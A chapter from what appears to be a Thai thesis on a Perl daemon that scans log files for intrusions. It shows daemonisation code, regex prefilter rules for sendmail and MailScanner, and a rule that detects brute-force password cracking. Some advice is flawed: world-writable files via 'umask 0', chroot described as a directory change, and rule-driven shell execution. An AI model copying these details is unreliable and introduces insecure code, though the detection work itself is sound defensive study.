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บทที่ 5

การพัฒนาระบบ

5.1 บทนํา

สําหรับบทนี้จะกลาวถึงการพัฒนาโปรแกรมท่ีจะใชในการวิเคราะหล็อกไฟลเพ่ือ
ตรวจจับการบุกรุกตามท่ีไดออกแบบไวในบทท่ีผานมา โดยจะกลาวถึงภาษาท่ีใชในการพัฒนา การ
พัฒนาโปรแกรมใหทํางานในลักษณะ daemon การพัฒนาโปรแกรมสวนท่ีทําหนาท่ีในการ
วิเคราะหขอมูล การแจงเตือนการบุกรุก และตัวเลือกในการทํางานของโปรแกรม รวมท้ังการสราง
กฎเพ่ือใชสําหรับการตรวจจับการบุกรุก

5.2  ภาษาที่ใชในการพัฒนา

การพัฒนาโปรแกรมสําหรับวิเคราะหล็อกไฟลตามท่ีไดออกแบบนั้น พัฒนาโดย
ใชภาษา Perl  ซ่ึงภาษา Perl ไดนําเอาขอดีหลาย ๆ อยางของภาษา C, sed, awk และ sh (shell 
script) รูปแบบของภาษา Perl คลายกับภาษา C มาก และสาเหตุสําคัญท่ีเลือกภาษา Perl ในการ
พัฒนาเนื่องจากเปนภาษาท่ีมีความยืดหยุนและมีประสิทธิภาพสูงในการจัดการขอมูลประเภท 
ขอความโดยมีความสามารถในเร่ือง Regular Expression ซ่ึงเปนกฎเกณฑท่ีใชการเปรียบเทียบ
ขอความเพ่ือคนหาขอความท่ีมีรูปแบบเหมือนกัน จึงทําใหเหมาะสําหรับการวิเคราะหขอมูลใน 
ล็อกไฟลซ่ึงเปนการคนหาขอมูลล็อกของเหตุการณผิดปกติและการบุกรุก

5.3  แผนภาพโดยรวมของการพัฒนาโปรแกรม

การพัฒนาโปรแกรมตามท่ีไดกลาวไวในบทท่ี 4 นั้น โปรแกรมจะทํางานใน
ลักษณะของ daemon และครอบคลุมการทํางานในสวนของ Analysis Module และ Response
Module โดยแผนภาพรวมของการพัฒนาโปรแกรมแสดงไดดังภาพประกอบท่ี 5.1
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ภาพประกอบ 5.1 แผนภาพรวมของการพัฒนาโปรแกรม

โดยโปรแกรมท่ีพัฒนาประกอบฟงกชันการทํางาน ดังนี้

- GetOptions เปนสวนท่ีรับตัวเลือกในการทํางานของโปรแกรม
- Daemonize การทํางานในลักษณะ daemon process
- โปรแกรมสวน Analysis Module ประกอบดวยฟงกชัน ReadLogFile, Prefiltering และ

MisuseDetection
- โปรแกรมสวน Response Module ประกอบดวยฟงกชัน ResponseAlert

รายละเอียดในการพัฒนาของแตละสวนจะกลาวถึง ในหัวขอท่ี 5.4, 5.5, 5.6 และ 5.7 ตาม
ลําดับ

5.4  ฟงกชันรับตัวเลือกการทํางานของโปรแกรม (GetOptions)

สําหรับการใชโปรแกรมผูใชสามารถระบุตัวเลือกสําหรับการทํางานได ซ่ึงตัวเลือก
สําหรับการส่ังใหโปรแกรมทํางานมีรายละเอียดดังตารางท่ี 5.1
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ตารางท่ี 5.1 ตัวเลือกการทํางานของโปรแกรม
ตัวเลือก(Option) การทํางาน
-t  <log file> หรือ --tail <log
file>

เปนการระบุวาใหโปรแกรมกระโดดไปยังสวนทายของlog 
file ท่ีระบุและคอยรับขอมูลล็อกท่ีมีการเพ่ิมเขามาในไฟล 
ดังกลาว แลวทําการวิเคราะหขอมูลเหลานั้นเพ่ือตรวจจับ
การบุกรุกไปเร่ือยๆ

-f <PreFiltering Rule file> หรือ
--filter <PreFiltering Rule file>

เปนการกําหนดว าใหอ านขอมูลกฎสําหรับการกรอง 
เหตุการณปกติจากไฟลท่ีกําหนด (PreFiltering Rule file)

-r <Misuse Rule file> หรือ
--rules <Misuse Rule file>

เปนการกําหนดวาใหอานขอมูลกฎสําหรับการตรวจจับและ
การแจงเตือน จากไฟลท่ีกําหนด (Misuse Rule file)

5.5  ฟงกชันการทํางานในลักษณะ daemon process (Daemonize)

daemon เปนโปรเซสท่ีทํางานอยูเบื้องหลัง (background process) โดยถูกออก
แบบใหทํางานอยางเปนอิสระ สําหรับขั้นตอนในการพัฒนาโปรแกรมใหทํางานในลักษณะ 
deamon ดวยภาษา Perl มีขั้นตอนดังนี้

การทํางานในลักษณะ daemon process
1. Fork and Exit the Parent process

การเร่ิมตนสราง daemon เร่ิมจากใชฟงกชัน fork() เพ่ือสรางโปรเซสลูก (child 
process) แลวจบการทํางานของโปรเซสแม (parent process) ดวยฟงกชัน exit() โดยมี 
จุดประสงคเพ่ือตัดความสัมพันธของโปรเซสลูกท่ีสรางขึ้นจากการควบคุมของ  terminal หรือ 
login shell และเปนการยายโปรเซสลูกท่ีถูกสรางขึ้นใหมออกไปจากกลุมท่ีโปรเซสแมอยู ซ่ึงจะ 
สงผลทําใหโปรเซสลูกมีโปรเซสแมเปน init process แทน โดยคําส่ังท่ีใชคือ

$pid = fork;
exit if $pid;
die "Couldn't fork: $!" unless defined($pid);

ฟงกชัน fork() จะสงคาหมายเลขโปรเซสของโปรเซสลูก ซ่ึงจะมีคาท่ีไมเทากับศูนย
หรือสงคาเปน –1 ในกรณีท่ี ไมสามารถสรางโปรเซสลูกได
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2. Set File Creation Mode
สําหรับการกําหนดโหมดของไฟลท่ีสรางขึ้นนั้นจะอาศัยคาของ umask โดยคา 

ดังกลาวใชสําหรับการกําหนดคา permission ในการเขาถึงไฟลตางๆท่ีสรางขึ้นใหม โดยคําส่ังท่ีใช
คือ

umask 0;

การกําหนดใหคา umask เปน 0 จะทําใหมีสิทธิในการเขาถึงไฟลท่ีสรางจาก 
daemon เปนแบบ full access นั่นคือผูใชทุกคนมีสิทธิในการอานและเขียนไฟลท่ีสรางขึ้นได โดย
ไฟลท่ีสรางขึ้นจะมีโหมดเปน 666 หรือ คา permission mode เปน -rw-rw-rw-

3. Create a Unique Session ID (SID)
สําหรับโปรเซสลูกท่ีถูกสรางขึ้นนั้นจะไดหมายเลขเซสช่ัน (SID) จากเคอรนอลเพ่ือ

ท่ีจะทํางานตอไป โดยการเรียกใชฟงกชัน setsid() เพ่ือกําหนดใหโปรเซสนั้นเปน session leader 
และ group leader และเพ่ือเปนการตัดการควบคุมจาก terminal ซ่ึงฟงกชันนี้เปนฟงกชันท่ีอยูใน
โมดูล POSIX ซ่ึงคําส่ังท่ีใชคือ

use POSIX;
# dissociate from the controlling terminal
POSIX::setsid() or die "Can't start new session: $!";

4. Change The Working Directory
สําหรับการเปล่ียนไดเรคตอร่ีท่ีกําลังใชงานอยูนั้น หากโปรเซสมีการเร่ิมตนทํางาน

จากไดเรคตอร่ีท่ีอยูในพารติช่ันท่ีถูก mount อยู แตหากตอมาผูดูแลระบบตองการ unmount 
พารติช่ันนั้นก็จะไมสามารถทําได จนกวาโปรเซสนั้นจะส้ินสุดการทํางาน ดังนั้นจึงควรเปล่ียน 
ไดเรคตอร่ีท่ีกําลังใชงานอยูของ daemon ไปยังไดเรคตอร่ีอ่ืน แตไมแนะนําใหใชไดเรคตอร่ีราก 
(/) เนื่องจากอาจจะทําใหขอมูลเต็มพ้ืนท่ีดิสกท่ีมีอยู และทําใหเกิดปญหากับระบบได ซ่ึงคําส่ังท่ี
ใชสําหรับการเปล่ียนไดเรคตอร่ี คือ

chroot("/var/daemon")
or die "Couldn't chroot to /var/daemon: $!";

5. Close Standard File Descriptors

ขั้นตอนสุดทายในการสราง daemon ก็คือการปด standard file descriptors 
(STDIN, STDOUT, STDERR) เนื่องจาก daemon ไมไดใช terminal ดังนั้นจึงควรปด file 



69

descriptors แตสวนใหญแลวแทนท่ีจะปด file descriptors เหลานี้ ซ่ึงบางคร้ังอาจจะมีการใชงาน
อยู ก็จะใชวิธีการยายการทํางานไปยัง /dev/null แทน โดยท่ี STDIN ก็กําหนดใหไปอานขอมูล
จาก /dev/null สวน STDOUT และ STDERR ก็ใหยายไปเขียนท่ี /dev/null คําส่ังท่ีใชคือ

open STDIN,  '/dev/null' or die "Can't read /dev/null: $!";
open STDOUT, '>/dev/null';
open STDERR, '>/dev/null';

5.6  การพัฒนาโปรแกรมสวน Analysis Module

การพัฒนาโปรแกรมสวนของ Analysis Module จะมีฟงกชันการทํางาน ดังนี้
- ReadLogFile เปนสวนของ Read Logfile Process ซ่ึงทําหนาท่ีคอยอานขอมูล

จาก ล็อกไฟลโดยอานขอมูลเฉพาะสวนท่ีมีการบันทึกเพ่ิมเติมและสงขอมูลล็อก
ตอไปยังฟงกชัน Prefiltering

- Prefiltering เปนสวนของ Process Prefiltering Process ซ่ึงทําหนาท่ีกรองเอา
ขอมูลล็อกของเหตุการณปกติท่ีไมเก่ียวของกับการรักษาความปลอดภัยออกไป 
และสงขอมูลตอไปยังฟงกชัน MisuseDetection

- MisuseDetection เปนสวนของ Misuse Detection Engine ซ่ึงทําหนาท่ีในการบง
ช้ีวาเหตุการณความผิดปกติท่ีสงมานั้นเปนการบุกรุกรูปแบบใด    

รายละเอียดของการพัฒนาโปรแกรมท้ัง 3 สวนนี้จะไดกลาวในหัวขอ 5.6.1, 5.6.2 และ 5.6.3

5.6.1  ฟงกชันอานขอมูลจากล็อกไฟล (ReadLogFile)
                  ฟงกชัน ReadLogFile ทําหนาท่ีคอยอานขอมูลล็อกจากล็อกไฟลนั้นจะอาศัยการ
ทํางานของโปรแกรม tail เปนโปรแกรมมาตราฐานท่ีมีใชงานอยูบนระบบปฏิบัติการยูนิกซ โดย
โปรแกรมสวนนี้จะท่ีทําหนาท่ีอานขอมูลจากล็อกไฟลท่ีกําหนดแลวสงผลลัพธตอไปยังโปรแกรม
สวนทําหนาท่ีกรองขอมูลล็อกโดยใชโปรแกรม pipe สําหรับการใชงาน tail นั้นจะระบุตัวเลือกการ
ทํางานเปน tail –f ซ่ึงหมายความวาใหอานเฉพาะขอมูลสวนท่ีมีการบันทึกเพ่ิมเติมเทานั้น

5.6.2  ฟงกชันกรองขอมูลล็อก (Prefiltering)
สําหรับโปรแกรมสวนของ Process Prefiltering Process ซ่ึงทําหนาท่ีกรองเอา 

ขอมูลล็อกของเหตุการณปกติท่ีไมเก่ียวของกับการรักษาความปลอดภัยออกไปนั้นจะมีการ 
เปรียบเทียบรูปแบบของขอมูลล็อกกับกฎท่ีกําหนดไววาตรงกันหรือไม ตามท่ีไดแสดงในภาพ
ประกอบท่ี 4.4 ซ่ึงกฎเหลานี้จะเขียนอยูในรูปแบบของ Regular Expression ซ่ึงเปนการเขียน
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อธิบายถึงรูปแบบขอความท่ีตองการคนหา ขอมูลกฎตางๆท่ีจะใชในการทํางานเก็บอยูในไฟลท่ีมี
รูปแบบเปนไฟลขอความ (text file) โดยเม่ือโปรแกรมเร่ิมตนการทํางานก็จะอานขอมูลจากไฟล
มาเก็บไวในหนวยความจํา และเก็บขอมูลเหลานี้ในโครงสรางขอมูลแบบอารเรย (array) ซ่ึง 
โครงสรางขอมูลแบบอารเรยท่ีใชสําหรับการพัฒนาโปรแกรมสวนนี้ ในภาษา Perl จัดเปนอารเรย
แบบ associative array ซ่ึงโปรแกรมสวนนี้มีการอานขอมูลกฎการกรองตางๆ จากไฟลกฎของ 
เหตุการณปกต ิ (Normal Event Rules) มาเก็บไวในหนวยความจํา โดยจัดเก็บไวในตัวแปร
อารเรยช่ือ filter_rules ดังภาพประกอบท่ี 5.2

กฎขอท่ี 1 Regular Expressions สําหรับกฎขอท่ี 1
… …

กฎขอท่ี n Regular Expressions สําหรับกฎขอท่ี n

ภาพประกอบ 5.2 การเก็บขอมูลในตัวแปรอารเรย filter_rules

ดังนั้นในการเขียนกฎตองเขียนบรรทัดละ 1 กฎเทานั้น ตัวอยาง เชน

sendmail\[\d+\]: .*.to=
sendmail\[\d+\]: .*.from=

เปนกฎสองขอ ท่ีใชอธิบายเหตุการณปกติในการสงและรับเมลของโปรแกรม sendmail และเม่ือ
กฎท้ังสองถูกอานมาเก็บไวท่ีตัวแปรอารเรย filter_rules สามารถแสดงไดภาพประกอบท่ี 5.3

sendmail\[\d+\]: .*.to=

sendmail\[\d+\]: .*.from=

ภาพประกอบ 5.3 ตัวอยางการเก็บขอมูลในตัวแปรอารเรย filter_rules

ขอมูลกฎเหลานี้เม่ืออานมาเก็บไวในตัวแปร filter_rules แลวก็จะเปนขอมูลคงท่ี (static)  
นั่นคือจํานวนขอมูลและขอมูลตางๆท่ีเก็บจะไมมีการเปล่ียนแปลงในระหวางการทํางาน สวน
รายละเอียดของกฎท้ังหมดดูไดจาก ภาคผนวก
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5.6.3  ฟงกชันตรวจจับการบุกรุก (MisuseDetection)
โปรแกรมสวนของ Misuse Detection Engine ซ่ึงทําหนาท่ีในการบงช้ีวาเหตุการณ

ความผิดปกติท่ีสงมานั้นเปนการบุกรุกรูปแบบใดสงขอมูลการแจงเตือนไปยัง Response Module
นั้นนั้นก็จะมีการอานขอมูลกฎท่ีเก็บอยูในไฟลท่ีเรียกวา Intrusion Signatures and Response 
Policy (สําหรับรายละเอียดของกฎไดกลาวไวในหัวขอท่ี 4.3.2.3) มาเก็บไวในหนวยความจํา ซ่ึง
จะมีตัวแปรอารเรยตางๆ สําหรับเก็บขอมูลในแตละสวนของกฎ ซ่ึงมีรายละเอียดช่ือตัวแปร
อารเรยและขอมูลท่ีเก็บดังนี้

1 regexp  เก็บ Regular Expressions ท่ีอธิบายถึงรูปแบบรองรอยล็อกของ
เหตุการณท่ีเปนการบุกรุก เหตุการณความผิดปกต ิและเหตุการณท่ีตองการตรวจจับ

2 info  เก็บคําอธิบายของเหตุการณท่ีตองการตรวจจับ และถาหากในสวนของ 
regexp ในขอ 1 ไดกําหนด Regular Expression ในลักษณะท่ีมีการใชวงเล็บ ก็จะมีการสราง
ตัวแปรพิเศษ $1, $2, … $n (n คือจํานวนวงเล็บท่ีใช) ซ่ึงแทนขอมูลในวงเล็บแตละตัวเหลานั้น 
ก็จะสามารถนําตัวแปรพิเศษเหลานั้นมาใชในการระบุคําอธิบายนี้ได และตัวแปรพิเศษ $0 จะ
หมายถึงขอมูลล็อกของท้ังบรรทัดท่ีไดอานเขามา และ $1 ก็จะแทนขอมูลท่ีอยูในวงเล็บตัวท่ี 1

3  corr  เก็บคําอธิบาย คําแนะนําวิธีการแกไขปญหาของเหตุการณท่ีตรวจจับ
4  action  เก็บ Alert Action List คือ ขอมูลวิธีการในการแจงเตือน เม่ือตรวจจับ

เหตุการณตามรูปแบบท่ีกําหนดในขอ 2 สําหรับการแจงเตือนนั้นสามารถระบุไดหลายวิธีการ โดย
ใชเคร่ืองหมายอัฒภาค (;) คั่นขอมูลในแตละวิธีการแจงเตือนและสามารถใชตัวแปรพิเศษได 
เชนเดียวกับกรณีของตัวแปร info ในขอ 2 ในกรณีท่ีการกําหนด Regular Expression มีการใช 
วงเล็บ ซ่ึงตัวแปรพิเศษเหลานี้ก็จะสามารถนํามาใชเปนพารามิเตอรในการแจงเตือนไดดวย นอก
จากนี้ยังสามารถใชตัวแปรพิเศษเหลานี้เพ่ิมเติมซ่ึงเปนตัวแปรพิเศษท่ีใชแทนขอมูลในแตละสวน
ของกฎท่ีใชในการตรวจจับ ซ่ึงมีตัวแปรพิเศษดังนี้

- %1 แทนขอมูลสวนของ regexp
- %2 แทนขอมูลสวนของ info
- %3 แทนขอมูลสวนของ corr
- %4 แทนขอมูลสวนของ action
- %5 แทนขอมูลสวนของ throttle
- %6 แทนขอมูลสวนของ threshold
- %7 แทนขอมูลสวนของ window
- %t แทนขอมูลวันท่ีและเวลาปจจุบันของระบบ

5  throttle  เก็บชวงเวลาท่ีใชหนวงสําหรับการแจงเตือน มีหนวยเปนวินาที
6  threshold  เก็บคาขอบเขตของความถ่ีของเหตุการณสําหรับการแจงเตือน
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7  window  เก็บชวงเวลา (time window) ท่ีใชการนับจํานวนเหตุการณ (วินาที)

กฎขอท่ี 1 Regexp[1] info[1] Corr[1] action[1] throttle[1] threshold[1] window[1]
… … … … … … … …
กฎขอท่ี n Regexp[n ] info[n] Corr[n] action[n] throttle[n] threshold[n] window[n]

ภาพประกอบ 5.4 ลักษณะการเก็บขอมูลกฎการตรวจจับในตัวแปรอารเรยตางๆ

จากภาพประกอบท่ี 5.4 ขอมูลกฎเหลานี้เม่ืออานมาเก็บไวในตัวแปรอารเรยตางๆ 
แลวก็จะเปนขอมูลคงท่ี (static) นั่นคือจํานวนขอมูลและขอมูลตางๆท่ีเก็บจะไมมีการเปล่ียน
แปลงในระหวางการทํางานเชนเดียวตัวแปรอารเรย filter_rules หลังจากนั้นเม่ือโปรแกรมแลวทํา
การเปรียบเทียบรูปแบบขอมูลล็อกท่ีสงมาจากสวน Prefiltering กับรูปแบบรองรอยการบุกรุกของ
กฎแตละขอ และหากพบวาขอมูลล็อกนั้นตรงกับกฎขอใด ก็จะเก็บขอมูลเหตุการณนั้นไวใน 
หนวยความจําในตัวแปรอารเรยช่ือ events_list ซ่ึงประกอบดวยขอมูลดังนี้

1  window เก็บชวงเวลา(time window) ท่ีใชในการนับจํานวนเหตุการณ มีหนวย
เปนวินาที

2  event_times เก็บอารเรยของขอมูลเวลาท่ีเกิดเหตุการณในแตละคร้ัง ขอมูล
เวลาท่ีเก็บนีเ้ปนจํานวนวินาทีตั้งแต เวลา 00:00:00 UTC, January 1, 1970 ท้ังนี้นําขอมูลเหลา
นี้ไปใชสําหรับการทํางานในการทํางานในลักษณะเล่ือนชวงเวลา (Sliding Window)

3  log_data เก็บอารเรยของขอมูลล็อกของแตละเหตุการณท่ีเกิดขึ้น
4  i เก็บหมายเลขของกฎ
5  desc เก็บคําอธิบายของเหตุการณท่ีตองการตรวจจับ
6  lastalert เก็บเวลาท่ีทําการแจงเตือนคร้ังสุดทาย
7  threshold เก็บคาขอบเขตของความถ่ีของเหตุการณสําหรับการแจงเตือน

Window event_times log_data i desc lastalert threshold

event
time 1

event
time …

event
time n

log
data 1

log
data ..

log
data n

ภาพประกอบ 5.5 ลักษณะการเก็บขอมูลเหตุการณในตัวแปรอารเรย events_list
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จากภาพประกอบท่ี 5.5 ขอมูลเหตุการณท่ีเก็บอยูในตัวแปร events_list เปนขอมูล
แบบ dynamic ซ่ึงจะมีการสรางขึ้นเม่ือมีขอมูลล็อกของเหตุการณท่ีตรงกับรูปแบบท่ีไดระบุไวใน
กฎเทานั้น และจะมีการปรับปรุงและเปล่ียนแปลงขอมูลในทุกคร้ังท่ีเกิดเหตุการณดังกลาวอีก 
ซ่ึงคา key หรือ index ท่ีใชสําหรับการเขาถึงขอมูลของแตละเหตุการณนั้น จะใชขอมูล desc หรือ  
คําอธิบายของเหตุการณท่ีตองการตรวจจับท่ีผานการแทนคาของตัวแปรพิเศษแลว ดังนั้นจึงทําให
กฎสําหรับการตรวจจับแตละขอ สามารถใชตรวจจับเหตุการณท่ีสนใจไดหลายรูปแบบได ตัวอยาง
เชน กฎการตรวจจับ ท่ีเขียนไวดังนี้

authentication failure.* rhost=(\S+)  user=(\S+)::User $2 too many login failure from
$1::*** Possible brute force password cracking ***::email=ssupacho@ratree.psu.ac.th
::300::3::60

กําหนดใหกฎนี้เปนกฎขอท่ี 1 ดังนั้นขอมูลของตัวแปรอารเรยตางๆก็จะเปนดังนี้
regexp[1] = authentication failure.* rhost=(\S+)  user=(\S+)
info[1] = User $2 too many login failure from $1
corr[1] = *** Possible brute force password cracking ***
action[1] = email=ssupacho@ratree.psu.ac.th
throttle[1] = 300
threshold[1] = 3
window[1] = 60

กฎขอนี้ใชสําหรับตรวจจับเหตุการณการเขาระบบท่ีไมสําเร็จของผูใชแตละคนจาก
แตละเคร่ืองท่ีมีหมายเลข IP ตางกัน โดยถาหากตรวจจับพบวามีการ  login ท่ีไมสําเร็จ 3 คร้ังใน
ชวงระยะเวลา 60 วินาทีก็จะทําการแจงเตือนโดยการสงอีเมลไปยัง ssupacho@ratree.psu.ac.th 
โดยจะหนวงเวลาสําหรับการแจงเตือนไว 300 วินาที หากพบเหตุการณลักษณะเดียวกันนี้อีก หลัง
จากนั้นจึงทําการแจงเตือนไปใหมอีกคร้ัง  ดังนั้นเม่ือโปรแกรมพบวามีขอมูลล็อกเขามาเปนดังนี้

May 29 17:42:28 seclab10 sshd(pam_unix)[8806]: authentication failure; logname=
uid=0 euid=0 tty=ssh ruser= rhost=172.28.80.165  user=ssupacho

และเม่ือตรวจสอบขอมูลล็อกพบวาตรงกับขอมูลกฎท่ีไดกําหนดไว ดังนั้นโปรแกรมก็จะเพ่ิม
ขอมูลของเหตุการณนี้ในตัวแปรอารเรย event_list พรอมท้ังแทนคาตัวแปรพิเศษ $1 และ $2 
ซ่ึงจะมีคาเปน 172.28.80.165 และ ssupacho ตามลําดับ ดังนั้นขอมูลสวนของ desc ซ่ึงเปน 
คําอธิบายและเปนขอมูลท่ีใชเปน key สําหรับการเขาขอมูลในตัวแปรอารเรย event_list ก็จะมีคา
เปนดังนี้

mailto:ssupacho@ratree.psu.ac.th
mailto:ssupacho@ratree.psu.ac.th
mailto:ssupacho@ratree.psu.ac.th
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User ssupacho too many login failure from 172.28.80.165

ซ่ึงขอมูลตางๆ ของตัวแปรอารเรย event_list แสดงไดดังภาพประกอบท่ี 5.6

60 event_times[] log_data[] 1 User ssupacho too many 
log in fa i lure from 
172.28.80.165

0 3

1117348195 May 29 17:42:28 seclab10 sshd(pam_unix)[8806]: 
authentication failure; logname= uid=0 euid=0 tty=ssh 
ruser= rhost=172.28.80.165  user=ssupacho

ภาพประกอบ 5.6 ตัวอยางการเก็บขอมูลเหตุการณในตัวแปรอารเรย events_list (1)

หลังจากนั้นหากโปรแกรมพบวาขอมูลล็อกท่ีเขามามีรูปแบบตรงกับกฎขอนี้อีก ก็จะตรวจสอบ 
คา key ของเหตุการณใหมนั้นวามีอยูในตัวแปรอารเรย event_list แลวหรือไม ถาหากพบวามี
ขอมูลเหตุการณนั้นอยูแลวก็จะทําการเพ่ิมขอมูลเวลาท่ีเกิดเหตุการณและขอมูลล็อกเขาไปใน
อารเรย event_times[] และ log_data[] ตามลําดับเทานั้น แตหากพบคา key ก็จะเพ่ิมขอมูลของ
เหตุการณดังกลาวในอารเรย even_list  นั่นคือหากมีขอมูลล็อกเขามาเปนดังนี้

May 29 17:43:31 seclab10 sshd(pam_unix)[8815]: authentication failure; logname=
uid=0 euid=0 tty=ssh ruser= rhost=172.28.80.165  user=ssupacho
May 29 17:45:12 seclab10 sshd(pam_unix)[8857]: authentication failure; logname=
uid=0 euid=0 tty=ssh ruser= rhost=172.28.80.169  user=ssupacho

สําหรับขอมูลล็อกของเหตุการณแรกมีคา key เปนดังนี้

User ssupacho too many login failure from 172.28.80.165

ซ่ึงเม่ือตรวจสอบคา key นี้กับขอมูลในอารเรย event_list พบวามีขอมูลนี้อยูแลว
ดังนั้นโปรแกรมจึงเพ่ิมเฉพาะขอมูลเวลาท่ีเกิดเหตุการณและล็อกของเหตุการณในอารเรย
event_times[] และ log_data[] ซ่ึงแสดงไดดังภาพประกอบท่ี 5.7



75

60 event_times[] log_data[] 1 User ssupacho too many
login failure from
172.28.80.165

0 3

1117348195 May 29 17:42:28 seclab10 sshd(pam_unix)[8806]:
authentication failure; logname= uid=0 euid=0 tty=ssh
ruser= rhost=172.28.80.165  user=ssupacho

1117349120 May 29 17:43:31 seclab10 sshd(pam_unix)[8815]:
authentication failure; logname= uid=0 euid=0 tty=ssh
ruser= rhost=172.28.80.165  user=ssupacho

ภาพประกอบ 5.7 ตัวอยางการเก็บขอมูลเหตุการณในตัวแปรอารเรย events_list (2)

สวนขอมูลล็อกเหตุการณท่ีสองนั้นมีคา key เปนดังนี้
User ssupacho too many login failure from 172.28.80.169

ซ่ึงขอมูลตางๆ ของตัวแปรอารเรย event_list ก็จะเปนดังภาพประกอบท่ี 5.8

60 event_times[] log_data[] 1 User ssupacho too many
login failure from
172.28.80.169

0 3

1117349350 May 29 17:45:12 seclab10 sshd(pam_unix)[8857]:
authentication failure; logname= uid=0 euid=0 tty=ssh
ruser= rhost=172.28.80.169  user=ssupacho

ภาพประกอบ 5.8 ตัวอยางการเก็บขอมูลเหตุการณในตัวแปรอารเรย events_list (3)

5.7  การพัฒนาโปรแกรมสวน Response Module

โปรแกรมสวนนีป้ระกอบดวยฟงกชัน ResponseAlert ซ่ึงรับขอมูลวิธีการในการ
แจงเตือนท่ีเก็บอยูในตัวแปรอารเรยช่ือ action แลวจึงทําการแจงเตือนตามวิธีการท่ีไดรับมา
สําหรับวิธีการแจงเตือนนั้นมีท้ังหมด 3 วิธีการ คือ email, write และ exec ซ่ึงรายละเอียดในการ
พัฒนาแตละวิธี มีดังตอไปนี้
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1. email การแจงเตือนโดยการสงอีเมลตามท่ีอยูท่ีไดระบุไวในกฎ โดยในการสงเมล
นั้นจะอาศัยโปรแกรม sendmail ในการทําหนาท่ีสงอีเมลไปยังท่ีอยูตามท่ีกําหนด

2. write การบันทึกขอมูลลงในไฟลท่ีตองการ โดยในการบันทึกขอมูลลงในไฟลจะ
เปนการบันทึกขอมูลในลักษณะเพ่ิมขอมูล (append) ในกรณีท่ีไฟลท่ีระบุมีอยูแลว  
แตหากยังไมมีไฟลก็จะสรางไฟลใหมขึ้นมาและบันทึกขอมูลลงไปในไฟล

3. exec การส่ังใหโปรแกรมท่ีตองการทํางาน โปรแกรมท่ีพัฒนาสวนนี้จะเร่ิมตนจาก
การสรางโปรเซสใหมขึ้นมาโดยใชฟงกชัน fork แลวสงคําส่ัง/โปรแกรมรับมา
ทํางานในโปรเซสดังกลาวโดยการเรียกใชฟงกชัน system

5.8  การสรางกฎเพื่อใชสําหรับการทํางานของโปรแกรม

การสรางกฎตางๆท่ีใชสําหรับการทํางานโปรแกรมซ่ึงมี 2 สวนคือ กฎของ
เหตุการณปกต ิ(Normal Event Rules) และกฎของการตรวจจับการบุกรุก (Intrusion Signature 
and Response Policy) โดยกฎท้ัง 2 สวนสรางโดยอาศัยขอมูลท่ีไดจากการทดสอบในเครือขายท่ี
จัดทําขึ้นซ่ึงประกอบดวยเคร่ืองคอมพิวเตอรท้ังหมดจํานวน 4 เคร่ือง และเครือขายทดสอบนี้
เช่ือมตอกับเครือขายของภาควิชาวิทยาการคอมพิวเตอร คณะวิทยาศาสตร ซ่ึงแสดงไดดังภาพ
ประกอบ 5.9

ภาพประกอบ 5.9 เครือขายท่ีสรางขึ้นเพ่ือทดสอบการบุกรุก

เครือขายภาควิชาวิทยาการคอมพิวเตอร

seclab1.cslab.net
(10.0.1.1/172.28.80.55)

seclab11.cslab.net
(10.0.1.11)

seclab10.cslab.net
(10.0.1.10)

172.28.80.165
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จากภาพประกอบท่ี 5.9 รายละเอียดของเคร่ืองคอมพิวเตอรมีดังนี้
1. เคร่ือง seclab1.cslab.net ทําหนาท่ีเปน Gateway ในการเช่ือมตอระหวางเครือขายท่ีจัดทํา

ขึ้นกับเครือขายของภาควิชาวิทยาการคอมพิวเตอร ใชระบบปฏิบัติการ Linux RedHat 7.2
2. เคร่ือง seclab10.cslab.net เปนเคร่ืองเปาหมายของการบุกรุก ใชระบบปฏิบัติการ Linux

RedHat 7.2 โดยมีการติดตั้งโปรแกรม Sendmail 8.11.6-3 เพ่ือทําหนาท่ีเปนเมล
เซิรฟเวอร และระบบตรวจจับการบุกรุก

3. เคร่ือง seclab11.cslab.net เปนเคร่ืองท่ีใชสําหรับการบุกรุก ใชระบบปฏิบัติการ Linux
RedHat 7.2 และติดตั้งโปรแกรม Sendmail 8.11.6-3 ทําหนาท่ีเปนเมลเซิรฟเวอร

4. เคร่ือง 172.28.80.165 เปนเคร่ืองท่ีใชสําหรับการบุกรุก ใชระบบปฏิบัติการ Windows
98

5.8.1  การสรางกฎของเหตุการณปกติ
สําหรับวิธีในการสรางกฎของเหตุการณปกตินั้นทําโดยการจําลองการทํางานของ 

เหตุการณปกติในรูปแบบตางๆบนเคร่ืองท่ีอยูในเครือขายท่ีจัดทําขึ้นสําหรับการทดสอบ แลวเก็บ
รวบรวมขอมูลล็อกท่ีเกิดขึ้นของแตละเหตุการณและนํามาเขียนเปนกฎ โดยกฎแตละขอใชอธิบาย
ถึงรูปแบบขอมูลล็อคท่ีเกิดขึ้นของเหตุการณหนึ่งเหตุการณ ซ่ึงกฎตางๆ ท่ีไดจากเหตุการณปกติ
ของโปรแกรมตางๆ เปนดังนี้

- โปรแกรม sendmail
sendmail\[\d+\]: .*.to=
sendmail\[\d+\]: .*.from=
(sendmail\[\d+\]: .*.relay=*.) && (!.*.reject.*.)
sendmail\[\d+\]: .*.: clone .*., owner=
sendmail\[\d+\]: NOQUEUE:*
sendmail\[\d+\]: .*.User unknown
sendmail\[\d+\]: .*.DSN: Service unavailable
sendmail\[\d+\]: .*.DSN: Host unknown
sendmail\[\d+\]: .*.DSN: Return receipt
sendmail\[\d+\]: .*.could not send message for past \d+ hours
sendmail\[\d+\]: .*.Domain of sender address .*. does not resolve
sendmail\[\d+\]: .*.Domain of sender address .*. does not exist
sendmail\[\d+\]: .*.Relaying temporarily denied
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sendmail\[\d+\]: .*.Relaying denied
sendmail\[\d+\]: .*.timeout waiting for input from
sendmail\[\d+\]: .*.collect: premature EOM: Error 0
sendmail\[\d+\]: .*.collect: unexpected close on connection from
sendmail\[\d+\]: .*.lost input channel from
sendmail\[\d+\]: .*.forward .*. Group writable directory
sendmail\[\d+\]: .*.sender notify: Service unavailable
sendmail\[\d+\]: .*.return to sender: Service unavailable
sendmail\[\d+\]: .*.runqueue: Flushing queue from
sendmail\[\d+\]: .*.aliases rebuilt by root
sendmail\[\d+\]: aliases.*.longest

- โปรแกรม Mailscanner
update.virus.scanners
MailScanner\[\d+\]: .*.Uninfected
MailScanner\[\d+\]: .*.Virus and Content Scanning
MailScanner\[\d+\]: .*.New Batch
MailScanner\[\d+\]: .*.Using locktype
MailScanner\[\d+\]: .*.MailScanner .*. starting...
MailScanner\[\d+\]: .*.New Batch
MailScanner\[\d+\]: .*.RBL Check
MailScanner\[\d+\]: .*.SpamAssassin
